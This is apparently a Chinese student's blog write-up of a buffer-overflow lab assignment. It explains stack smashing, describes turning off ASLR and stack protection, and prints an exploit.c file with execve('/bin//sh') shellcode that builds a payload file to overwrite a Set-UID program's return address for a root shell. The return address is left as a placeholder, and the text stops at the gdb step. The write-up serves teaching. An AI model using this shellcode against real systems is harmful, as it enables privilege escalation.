信息安全系统设计与实现（上）20181201宋非凡缓冲区溢出（选作）

信息安全系统设计与实现（上）缓冲区溢出（选作）

20181201宋非凡

一、任务目标

　　1、在自己的电脑上完成 http://www.shiyanlou.com/courses/231 缓冲区溢出漏洞实验。

　　2、发一篇相关内容的博客，提交博客链接。

二、缓冲区溢出原理

　　缓冲区溢出攻击：通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的。

三、任务过程

　　1、实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。即利用命令安装一些用于编译32位C程序的软件包：

　　2、Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：

　　3、此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：

　　4、输入命令 linux32 进入32位linux环境。此时你会发现，命令行用起来没那么爽了，比如不能tab补全了，输入 /bin/bash 使用bash：　

　　5、一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。

　　6、在 /tmp 目录下新建一个 stack.c 文件，按 i 键切换到插入模式，再输入代码，通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。编译该程序，并设置 SET-UID。

　　通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector

　　关闭这种机制。而 -z execstack 用于允许执行栈。-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。

　　7、我们的目的是攻击刚才的漏洞程序，并通过攻击获得 root 权限。在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容：

 1 /* exploit.c */
 2 /* A program that creates a file containing code for launching shell*/
 3 #include <stdlib.h>
 4 #include <stdio.h>
 5 #include <string.h>
 6 
 7 char shellcode[] =
 8     "\x31\xc0" //xorl %eax,%eax
 9     "\x50"     //pushl %eax
10     "\x68""//sh" //pushl $0x68732f2f
11     "\x68""/bin"     //pushl $0x6e69622f
12     "\x89\xe3" //movl %esp,%ebx
13     "\x50"     //pushl %eax
14     "\x53"     //pushl %ebx
15     "\x89\xe1" //movl %esp,%ecx
16     "\x99"     //cdq
17     "\xb0\x0b" //movb $0x0b,%al
18     "\xcd\x80" //int $0x80
19     ;
20 
21 void main(int argc, char **argv)
22 {
23     char buffer[517];
24     FILE *badfile;
25 
26     /* Initialize buffer with 0x90 (NOP instruction) */
27     memset(&buffer, 0x90, 517);
28 
29     /* You need to fill the buffer with appropriate contents here */
30     strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
31     strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100
32 
33     /* Save the contents to the file "badfile" */
34     badfile = fopen("./badfile", "w");
35     fwrite(buffer, 517, 1, badfile);
36     fclose(badfile);
37 }

　　注意上面的代码，\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。

　　8、现在我们要得到 shellcode 在内存中的地址，输入命令进入 gdb 调试：